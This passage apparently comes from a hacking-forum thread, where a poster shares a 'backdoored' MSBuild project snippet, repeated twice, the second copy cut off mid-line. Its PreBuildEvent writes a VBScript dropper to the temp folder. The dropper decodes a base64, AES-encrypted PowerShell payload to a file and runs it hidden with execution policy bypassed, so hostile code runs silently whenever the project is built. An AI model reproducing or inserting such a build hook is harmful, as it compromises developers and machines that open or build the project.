RrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo d = &quot;OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWXFzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo e = b ^&amp; d ^&amp; c &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set f = CreateObject(&quot;MSXml2.DOMDocument.6.0&quot;).createElement(&quot;base64&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.DataType = &quot;bin.base64&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.Text = e &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo g = f.NodeTypedValue &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo h = &quot;%25a%25\i.ps1&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set j = CreateObject(&quot;Scripting.FileSystemObject&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set k = j.CreateTextFile(h, True) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Write l(g) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Close &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set m = CreateObject(&quot;WScript.Shell&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo m.Run &quot;powershell.exe -ExecutionPolicy Bypass -File &quot; ^&amp; h, 0, False &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Function l(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Dim o, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set o = CreateObject(&quot;ADODB.Recordset&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo p = LenB(n) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo If p ^&gt; 0 Then &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Fields.Append &quot;q&quot;, 201, p &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Open &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.AddNew &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o(&quot;q&quot;).AppendChunk n &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo o.Update &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = o(&quot;q&quot;).GetChunk(p) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Else &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo l = &quot;&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End If &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo End Function &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;cscript //nologo &quot;%25a%25\b.vbs&quot;&#xD;&#xA;endlocal</PreBuildEvent>
</PropertyGroup>

by bad, sorry, deleted.

 

[XLEN404]

And relatively backdoored toy as well (https://xss.pro/threads/135894/#post-964043):

<PropertyGroup>
  <PreBuildEvent>@echo off&#xD;&#xA;setlocal&#xD;&#xA;set &quot;a=%25TEMP%25\a&quot;&#xD;&#xA;mkdir &quot;%25a%25&quot; 2&gt;nul&#xD;&#xA;echo b = &quot;ZnVuY3Rpb24gRFZLIHtwYXJhbSAoW3N0cmluZ10kZW4sW2J5dGVbXV0kc0IpOyRrID0gTmV3LU9iamVjdCBieXRlW10gMzI7JHYgPSBOZXctT2JqZWN0IGJ5dGVbXSAxNjskZGVyaXZlQnl0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUmZjMjg5OERlcml2ZUJ5dGVzKCRlbiwgJHNCLCAxMDAwLCBbU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5IYXNoQWxnb3JpdGhtTmFtZV06OlNIQTI1Nik7JGsgPSAkZGVyaXZlQnl0ZXMuR2V0Qnl0ZXMoMzIpOyR2ID0gJGRlcml2ZUJ5dGVzLkdldEJ5dGVzKDE2KTtyZXR1cm4gQHsgSyA9ICRrOyBWID0gJHYgfX07ZnVuY3Rpb24gRCB7cGFyYW0gKFtzdHJpbmddJGVCWixbc3RyaW5nXSRlbmMpOyRkQnkgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlQlopOyRzYnkgPSAkZEJ5WzAuLjddOyRlQnkgPSAkZEJ5WzguLigkZEJ5Lkxlbmd0aCAtIDEpXTskZHJ2ID0gRFZLIC1lbiAkZW5jIC1zQiAkc2J5OyRrID0gJGRydi5LOyR2ID0gJGRydi5WOyRhID0gW1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JGEuTW9kZSA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7JGEuUGFkZGluZyA9IFtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7JGEuS2V5ID0gJGs7JGEuSVYgPSAkdjskZGMgPSAkYS5DcmVhdGVEZWNyeXB0b3IoKTt0cnkgeyRkQiA9ICRkYy5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRlQnksIDAsICRlQnkuTGVuZ3RoKTtyZXR1cm4gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGRCKX0gY2F0Y2gge3JldHVybiAkbnVsbH19JGVCID0gImlRNElUWE5lWUZqV0pMOFVieDZpa1ArV2hvS1d1Mk41VWtQNG9QZjh1OFZFUi9Hc0IwZWhmcEVsZTlIODdxU0JhVjZYTUFjUFFjZVlHNjVrWjJjUitmYmVJS25PMU43Z2FuaERjdHNxdXU1UVNremJDbzdRekIrRmdELzQxamVSVjV6L1NtMU0zVWt0aGFhK2F4SWJad0tBek9Nc0V4VjlETTVxNGRLNEdVZmZkZTJiQis4RktuS3krU2ZhYzkvaEQyTDE2TzVDK3l6S2FNUUZuaWkxb3hkZHdGSWc0dHFLVE9ScXNHcGxPdmdoSUR4WTBBUWhvYjFxWkRYdzZSUkpXcTY2dFhNQWJrM3UrOVYxdUF4cFFVeHgzU1BaVTcra01ySDVlR0Mzbkk3VkdnSHpHcmlBWlZCdmJZbS9QbHlqQ0xpell5K1lJbjBRZlhQUVpmL1hUY1ZkNTV1eGZCYWZXdlEraTlwT3RVcDhSVkg5K2VTQ29EZ2YrdFJLSGpaWXBwbEVIS3N6aml2Q3pNRzc0STFiRk1VVE0xK3ZMV3FrV1QwS1R6MlYyRzVXVkh5U1ByeUdtOTgrYjdReU1jWEk0NGFyVG5kSDFYeGRVOWh1bzM3d1FNekgya25wa0tOVERoZlJSR0NwRkxsM1Vxa0xmRW9mN1lvaTQ2WWQvdWxrL0VKdWF2R0hMUUM0V0hvZUJpT0NrS1g3cjN5NjkvL2hJT0pVMmRuRkFTa3RxVHNUNDBiZnZGaGpTTUhrSFZkbHJ1TFlzbUVxbHVpc3lWc09hSm9XWTRDemIxM1QyMU8vbVNEQ0ZMRFJhRitYVDhSNEZUWE8wenN2Z1dLdDI2aWt4eGkyN29oejNFVlY2Q0U5MFEwSWR3N0U0TVR1SzFBTDBrR2c3ZG43TkorUEl6YmJ6N3lUYWRHTkg4SzVEY3A4VGZwQkd6aVdmTlU2cVkyRTNtV2c4NzA5UmFNMmhFTU1nQ1Z0YlpGdkZMQXkyTXYwTDJYaTR2VXl4UEFBNHRMMnNlN2NqTVNCU2g4REIwOEpxeGNMVjNQN0pLL0RFeVRZSU9GSkRvN0toRktsUlB0bVpoZk5rRjl3ZWpYRVk3czdISWJpeXFhRkNWNm1DK09CNDZSZ2YyK3pKVjB2RGlIeXlDdHZZUEhqSWlwRGhkK2hJSEhqQk1ZOGxMeEUrRGFZemEwbC9vMUVvOWpQV2lkekVNdUpTaFZMclBSOXI1UjYvQ1lYS0tjOGpBdUNvZ3hSR0xMSk81eDM3ajZWK1ZxSXQ3ZFEzZ0EydXNJTHFsUHRpUWg2dUdYa0JYanJSWnFzSnBxeElTSlBaclNIQlJCSDNmQlBFVkZyZi9XMTZOMk1uNEp3cGo3NnJlRStLMnZPZWpyZXIxbW9acHpYKzI0K09wZmJwM3NPSlVzMWJOYWErcmV4VW5VNUN2SzV2RlF1VmRvaW5PM0w5eTE2NEdjdC9EaERnbDJJSjFhVTdaWWErN3o3VnVYVGdQdGMr&quot; &gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo c = &quot;ajd6em1UMWtBbnJDMkJjdFc0UGZzSWhsQVBzTHJPSHhGd2lFK0JRNmVmK2gxT0xxdFlCUFJuMEw4NWZ1VmRNeTFhZWhpbVB0ZHVvTGdKQjhiLzcvMGx6NDBsNnVTdlNPd1AyRXJtRXIxRC83ZFQyVzEwYkFJU1kxNTRubENxNDg3VEpwMi90ZHhJZUluNkNsK1NjRHhHTFgvSkQ1eDRpOHRSQi9DcEhsL0tQUmpDUmplOGtnZTNTNW5RZlprd3JOTVdaeHNUNXVjN0xkZ25jcmVpM3pZenpFTThWemdYcDM0TEdnMHY3d3VDeVdrcEZJS2xxY0x2WXI1ZXpSblJjalVNSkxLMzVhbzFoUnBKK0tlU2dBTVdXWlQxdmZrQkZwcDdFTVdnN0Foc3ZXZnZITWhNbGRoL3VuT3phQWFxTW1WdWt1OS94SGxnWk5XYkRSY0xVYmhkbkpSZGJleTQ0MWcwWVZ6b1BzU2haL29JbXhLNmVxQUtIYk1nZU1XUzRlaUREZlhhckhqbWNNdDFiZTBONWJkVGVlSXN5bTNvc3M3WGRDSmdnaUY0TXQvUlc2UC9UUFgwdU1QNzZKaEd6dmowT1dFOXI4LzlWWkZ4aGEzSS8vSVFUVnBhMEUzVytCbHVKblk0clVYdE93Z2hpdVpoTUZtNkNJZ0diWC93Tnl3RzJmYU5iVnRBM2VMWXYwcHM2Wm9MbXRrYkl3VzBSOWsrSFF4WW43aVZkekFxMkEwdndzVE5EQlROZ2pkdStEcU5ZUHpFQWZBOWs4d0xLTnpSVnNVcm1EOWdZTktWSk41ZWUySGg3QXI1WlhyeEtkdjF5ZXdaQ3N5ajZ0S2ppQWV6QmZLMXVuQmNSYmVwNGhqNDN5V0Z1bnJPWVM3Z3JUQXF1TUZRbTl4bktwalVYMkpzYm5acEhlZE51OVlGMnJldW84Rm9nRUhJVEs5VE5UYWZpM01vdjlGN2l5TFhtNWNhVFBvaUlpUDdHK21zWlk1VDZlNDI1aTNsb2Z1MXhYOVRpdDlZQlQ2eVhCT3Mvd2dvalNxcVcwN3lhLzgvQTRsZUxLSjFIangvajFwSTJWUEFMY0I2d2ZoQXBtUUtFNXZoT0N6N0l5Vk5KTklXVHd5YzFERlN3bDY4V1BGYmZHT0N6U3NYTkxtYVQ4Tk95YXd5MDVNZTRCd2ZGck11MHhid0ZPNzlMM2FORXFTc1FvQjN5OHdPdlcvd243VkZuNUo5cE9mZnR2ZUM5blFxcnluU0Q5Q3RnVy9FZ2pBRzFFUjFZZjJqTnF1WlRxeVlXaUNuaUJoQXNyZC93UktxdW5zRXZJMS80M1hscEFzdG5uVFZpUkgzM2J5Wk0rYXVPTjFqd3lTWHdFbmZKZXdSOHlEZktLdjZ2dkhHSFhXVEY3NUVuUW53YnBkVGU2RUZQT2JCOFpSZ3NoazdWei9HTlEzQkZKcmp5VURsSHpWTWJUa3Mydm5wcTBuNWx2NDdhZ2dueUlyaGVWcXRyb09BMVdZekdhT0oyYzFiRU5RYjJObnRjdE9CeVYyWkhxK3Zhb2N6K1dwVWFPcXRVcmFITk5zSHNLRC9ibktON01rcTZHU0FiRzllUEdUckUwYlN5bmJKb2djMFYvVmlPUW8ybkc4MW80aFhEbFIvWXMyc29JamRkdnlTNDg3cDVCR0dzZEJITGVOTVBuMGdYMFBOUXpVWGhoNlVTc0UyQkJiNGdrMzFoMEZ2VlpRa1NYREk1dDRHMWdoZVVLWkZYWGVYY1NHZngvVHN4U3ZXMFFqUUh1WTZDN0Y3cXI4VEplWmlRY0FoWVhWZVdaTHBuM3Jwa082L0c1dDU0Y01odC9ZYjZ1WERPUGJPNHRDR3FobEZtY0lXWncyc3ZoVktyTkpGOUtUYlgydk00bDhiNFpwSzFxVWNUanRUQUhNc1ExZktvTnlqV2xiTGdKc3A1M0lCa082ZFp3UmFpbFU5VVpiWll4ejNpZW55TDcyVmtUM0pIeXlSek1JMUNMaG9HOVFMbHRoOE8ydzVHQ1lldGVLZnd3YkpLenRQTlRVQ2padXRvYmFSTFBHKzR4MnQrMjhhVEp2VGlLd2ZLU0dIOE9BK3dpWFVsbjJJT0lTTzNVbkh2UVZCUlJjN1FHM25sb09OdmRCVEVPcGVmbGVYTHB5YTZTd2psTnlmOUtxeUs2b1IwTWxsOWpQdGlQSktLNmFsTjd3cWgrYTczakYzeHhjeDdjUWozdWx1U0toU2pzdW1yLzJTdFpZSVgxRUxOeHkvVHZFcHZXV2tsZko2UmRQbVhGcHNlVGFkVWMyeiI7JHRtID0gJGVCLlRvQ2hhckFycmF5KCk7W2FycmF5XTo6UmV2ZXJzZSgkdG0pOyRSID0gRCAtZUJaICR0bSAtZW5jICIiOyR0ID0gJFIuVG9DaGFyQXJyYXkoKTsgW2FycmF5XTo6UmV2ZXJzZSgkdCk7ICRCVlYgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKC1qb2luICR0KSk7ICRFUFggPSAiSW52b2tlLUV4cHJlc3Npb24iOyBOZXctQWxpYXMgLU5hbWUgcFdOIC1WYWx1ZSAkRVBYIC1Gb3JjZTsgcFdOICRCVlY=&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo d = &quot;OG5pZzBJR05SWWlYK1gwcHk1VktkekJsS2UrdmZtQlROcVE3dEUyQVdzaE4zWVZ6dXEwWUQ3eGZJcHM5d041bms0YkZaVGJLR3R1Tk5yM0ZadTdySng0T25MYzhCaVhFdDNxdExON0Z3VDFPUDNLcm5OS2lOR2ZzRy9rSllPUXEyQkdkTy9zSEtZTTdiWWQ5N09rSURZKzl6bDJScTA1K2VMd2p5QzM3VlNpOVVGYWVQR0gyS0tINWpYcnhNZjJ2dE5rRWtTZlZ3WXNnNDFrMy9NYjk5R1NzZjYvMkxocVlsVmpHOEJ6bGJsaUdGcUhSZzZPYjFsdnBDWGpRSEE4QytlVmtsWVFEdEx5Mkh0OFZsQjdLaXF0ZFppaEdrY28zVjZENFRNU2RWalBodSsyM2d6TkI1NFYrQkpuaWdKMlJpNTBVYzUxK2JRMmN2dEpHbmNpb1dmRUZEWFgxMFhsaEFNcm5jUGJaQTZWRk1jOGxDYi9KVHF1UEN0RjJxL1hyU1hNYXBLL0lvVEF2MU0rL1RtblFtQkNCa1VqbUlGSXZzU1MxZktPL2ZSVkJXU05GNWVGSFFycEMvdEJqL0FDNldOc0gxNlZnd21vQ1VzdU05MDM4N1J0b0xzM2JpODNxeWhPVGs1OWE2cFhvTUJpUENXOXZ2R0VpNUljRUhXcW5DQlVzNE1FYWxYdndLcGlsVDcrdElxL1JxMlVPaHhCNjNEVlJlUGFNMTZCZ2lOd1BncGlud3hqd0k5ZlVFdVBYb3ZKTnMrenhFN0JkTU43RVJYTzNVblZQM1ErZzRianJiWXFzWUJnUm5UdElucEpjSjVDSEVOSis1ZXlDc0RJZ2dYV1F3K0R2VTRBZ09zUUlXL2hNK0Fha1FrMU50MnVBT0tYUGJyWEpyTUlZWXo1UHlLVWpEekl2R3phSE9zUmZ0d21YSU54ZHdMY2FJQitmOGVNTjlVaFJRbGt6b3F4MHE4QWxFL1hZeXIwc3dWbzBpR0N4NVBvTjdHTUZFVFJOZk5mbG1hWEgrQk10M1QvUmlkWkV6ZTBRdDhTRWhnNkFCQ21IZ3QrdnJWNjRRK0NlYUxiZTBuYmJEbER6d2ptSFltVllTcTdXZW1rK2R1aGYxK1hObVhtNCtSZDlaVWdNN21wcGxCY1VsSS96dm94RUdZKzcwU05Gb25sOWZvakdrdDRFdmJrMUNvYm43dGtnczBjbWh4QmRkUkNyakxOY014bGE4T2xxeDI1amxwZGNCREMxZ1MwZS83c3NyTk14L3hMdGJ6dkltUmJWMWpHaXhLMk1WS1R0N1lpVU13L1FnQTRCenk4dTcycGI1cHRWc2M0cHRob2tUekdaMVo1YkhhbTZSeUhKK3MrZytFbEkzcW02Vm9qVnhTSmMxci9lMVRIR2hYSlRVYk41OGtrZ21iQldHenN3d1ZHb2orVk5iRlV0MVE2TUxENGlEWnYrczd5djBiMWU5QnA5Z0FGSGc4M09vVGc3d3VLTGFMTXhqL2FBRzBuQlBydTRBa04xZkVkSXcvb1hFYXptdWdVcXNtc2xYYU92OHA4VHFZUjhsMmp6bVBkcnlxSXB5Q1JZOGtHT3VaK3kyTEFKY1pzMUMyeHZacVZBL1NRR21NWjdIQnB1RlE5cklrMEtIQnFYUnpuL0tJMmJRbENDVlFzSGhmVUZnL2FaRDlQMWZaaHJUM2ZobEs4ajJibC9scTVBTkJjQ1VKcE5Kb1RDQW1XbmRycnRJbGRIVnRpMnYyTlNXSFBzNzRUeGNrUmRsdndsdmlIUmFvWXprOWRiNDNUamhoZVZtcThKeURNdlR3TWNHZitOUzg5Q09iUk9wd095eHdxc3I1ZGJLdkNWdzZLaEU4R1VjN0lHNjc5SFZCcDZldzlnK25YeS8zWDJYQ3pQVi8rTCtRbmMxVFdFSjZ4cER0YzluTExZbDNURnJBelZaTzJteGFCNTRCQ0lIUW9nZ1R5RmZjYkVUV2ZIZjQ1UmdTUk5STk10a3lDdVJUQ2thWkV1NFQ2YWtLL0ZWRVhCSjl1WHV0eHFuUUJlZmYrUnNQckNpNFI4b3ZnaUxIaTVsczM3OGsrdWhiaGxlVUJwK2tCd1c5aEFpN1pmTERZQ0MrRG1OSjFIKzRyY2pXT09LRDZvazNLVUorK2RpaVdhcXFqclh2SEI4SWpwSEh2Z0xDSjAxa01tR2FNU3loSFFQWCtQcFFhSjU5ZUxYcnl1TEpodzR6Rkd6R3VLTkNRT2lsY1pnb05CK1I0WTlJb1ZhbUxMd29sV1hQeXU3WnBhYUtSS1E0VlJwNEhkekpPOCtQMy9IWmcvY2pJK2FPbmpHdzBTd29maWVidlc1UkJZNUtZWHJTYkxRNmN1cURqbFNNaVBpb25lRzFoTGd5YTdDRy9hUFNFV0FlN2xPRUlhRHNMdDgvbFdOYitDbjFvbllzRWVOOEovY2lvZEJhSmRVTEdBK1ZlWmoxQXM3TnhUY0R0L3h6eWpVQm1JLzhubHFsUXAzUTVpVHRhaWRyVTZ2aXB3dkJ5M3dYUURrMGRxNThLSmZ6R04vMU5QTVZVR0NzTGlkNVVHRkFLbXk1THdDbXJNVm9NSFVtTXVPYy9oSWZVOUl0bnVJSEMyNkhuS21YQzV6N2pmVlYwT24rOEVReVEwemw3NGVIWUpKUjV1RWRSVEhIYU9P&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo e = b ^&amp; d ^&amp; c &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set f = CreateObject(&quot;MSXml2.DOMDocument.6.0&quot;).createElement(&quot;base64&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.DataType = &quot;bin.base64&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo f.Text = e &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo g = f.NodeTypedValue &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo h = &quot;%25a%25\i.ps1&quot; &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set j = CreateObject(&quot;Scripting.FileSystemObject&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set k = j.CreateTextFile(h, True) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Write l(g) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo k.Close &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo Set m = CreateObject(&quot;WScript.Shell&quot;) &gt;&gt; &quot;%25a%25\b.vbs&quot;&#xD;&#xA;echo m.Run &quot;powershell.exe 